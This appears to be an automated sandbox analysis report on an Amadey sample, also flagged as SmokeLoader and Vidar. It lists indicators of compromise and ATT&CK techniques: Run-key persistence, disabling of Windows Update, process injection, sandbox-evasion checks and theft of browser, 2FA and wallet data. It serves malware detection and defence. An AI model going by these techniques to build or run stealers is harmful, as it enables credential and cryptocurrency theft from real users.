amadey | 50a0861f4047703d375540921f53dfb1dcb1074232f1c511ebbd71f2aa7aed18

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

XandETC.exe

description	pid	process	target process
PID 880 created 772	880	XandETC.exe	Explorer.EXE
PID 880 created 772	880	XandETC.exe	Explorer.EXE
PID 880 created 772	880	XandETC.exe	Explorer.EXE
PID 880 created 772	880	XandETC.exe	Explorer.EXE
PID 880 created 772	880	XandETC.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

103 3204 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
103	3204	rundll32.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral2/memory/3460-269-0x0000000000E70000-0x0000000000FCC000-memory.dmp	net_reactor
behavioral2/memory/3460-765-0x0000000000E70000-0x0000000000FCC000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

F11B.exebuild2.exebuild2.exe30AB.exeF11B.exe30AB.exe1B0B.exebuild2.exe1B0B.exe287B.exenbveek.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	F11B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	30AB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	F11B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	30AB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	1B0B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	1B0B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	287B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	nbveek.exe

Executes dropped EXE 34 IoCs

Processes:

F11B.exeF11B.exe1B0B.exe1B0B.exe1FFD.exe21B4.exe1B0B.exe287B.execmd.exeConhost.exess31.exe30AB.exeXandETC.exe1B0B.exe3271.exenbveek.exe30AB.exe30AB.exeF11B.exe30AB.exebuild2.exeF11B.exebuild2.exebuild3.exebuild2.exebuild2.exebuild3.exeC78E.exerundll32.exebuild3.exebuild2.exeupdater.exenbveek.exemstsca.exe

pid	process
2252	F11B.exe
2560	F11B.exe
3944	1B0B.exe
3748	1B0B.exe
908	1FFD.exe
4496	21B4.exe
2492	1B0B.exe
4924	287B.exe
2688	cmd.exe
4516	Conhost.exe
2064	ss31.exe
2136	30AB.exe
880	XandETC.exe
1244	1B0B.exe
3460	3271.exe
1732	nbveek.exe
3648	30AB.exe
4316	30AB.exe
4492	F11B.exe
3416	30AB.exe
3368	build2.exe
2692	F11B.exe
2324	build2.exe
4684	build3.exe
4392	build2.exe
1308	build2.exe
448	build3.exe
444	C78E.exe
2128	rundll32.exe
1228	build3.exe
3448	build2.exe
3220	updater.exe
4696	nbveek.exe
1404	mstsca.exe

Loads dropped DLL 11 IoCs

Processes:

rundll32.exebuild2.exerundll32.exerundll32.exerundll32.exebuild2.exebuild2.exe

pid	process
3204	rundll32.exe
3204	rundll32.exe
1308	build2.exe
1308	build2.exe
3336	rundll32.exe
2128	rundll32.exe
4784	rundll32.exe
3448	build2.exe
3448	build2.exe
2324	build2.exe
2324	build2.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4960 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4960	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

1B0B.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\fefd692e-8f09-4e90-84d3-b52706518415\\1B0B.exe\" --AutoStart"	1B0B.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

36 api.2ip.ua
48 api.2ip.ua
58 api.2ip.ua
63 api.2ip.ua
64 api.2ip.ua
28 api.2ip.ua

flow	ioc
36	api.2ip.ua
48	api.2ip.ua
58	api.2ip.ua
63	api.2ip.ua
64	api.2ip.ua
28	api.2ip.ua

Suspicious use of SetThreadContext 14 IoCs

Processes:

F11B.exe1B0B.exe1B0B.exe30AB.exe30AB.exeF11B.exebuild2.exebuild2.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2252 set thread context of 2560	2252	F11B.exe	F11B.exe
PID 3944 set thread context of 3748	3944	1B0B.exe	1B0B.exe
PID 2492 set thread context of 1244	2492	1B0B.exe	1B0B.exe
PID 2136 set thread context of 3648	2136	30AB.exe	30AB.exe
PID 4316 set thread context of 3416	4316	30AB.exe	30AB.exe
PID 4492 set thread context of 2692	4492	F11B.exe	F11B.exe
PID 3368 set thread context of 2324	3368	build2.exe	build2.exe
PID 4392 set thread context of 1308	4392	build2.exe	build2.exe
PID 2128 set thread context of 3448	2128	rundll32.exe	build2.exe
PID 3204 set thread context of 876	3204	rundll32.exe	rundll32.exe
PID 3204 set thread context of 3472	3204	rundll32.exe	rundll32.exe
PID 3204 set thread context of 968	3204	rundll32.exe	rundll32.exe
PID 3204 set thread context of 3008	3204	rundll32.exe	rundll32.exe
PID 3204 set thread context of 844	3204	rundll32.exe	rundll32.exe

Drops file in Program Files directory 1 IoCs

Processes:

XandETC.exe

description ioc process

File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

3516 sc.exe
3436 sc.exe
1420 sc.exe
4488 sc.exe
620 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

pid	process
3516	sc.exe
3436	sc.exe
1420	sc.exe
4488	sc.exe
620	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4728	4496	WerFault.exe	21B4.exe
1068	2688	WerFault.exe	2EE5.exe
4372	444	WerFault.exe	C78E.exe
3856	3460	WerFault.exe	3271.exe
4088	2128	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

setup.exe1FFD.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FFD.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FFD.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FFD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe

Checks processor information in registry 2 TTPs 29 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exerundll32.exebuild2.exebuild2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2172 schtasks.exe
1028 schtasks.exe
4680 schtasks.exe
2652 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

4268 timeout.exe
3540 timeout.exe
664 timeout.exe

pid	process
2172	schtasks.exe
1028	schtasks.exe
4680	schtasks.exe
2652	schtasks.exe

pid	process
4268	timeout.exe
3540	timeout.exe
664	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE

Modifies registry class 57 IoCs

Processes:

Explorer.EXErundll32.exerundll32.exerundll32.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000008256e014100054656d7000003a0009000400efbe5456c7958256e0142e0000000000000000000000000000000000000000000000000023961e01540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

772 Explorer.EXE

pid	process
772	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

setup.exeExplorer.EXE

pid	process
1880	setup.exe
1880	setup.exe
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE
772	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

772 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

setup.exe1FFD.exe

pid process

1880 setup.exe
908 1FFD.exe

pid	process
772	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXE3271.exepowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeDebugPrivilege	3460	3271.exe
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
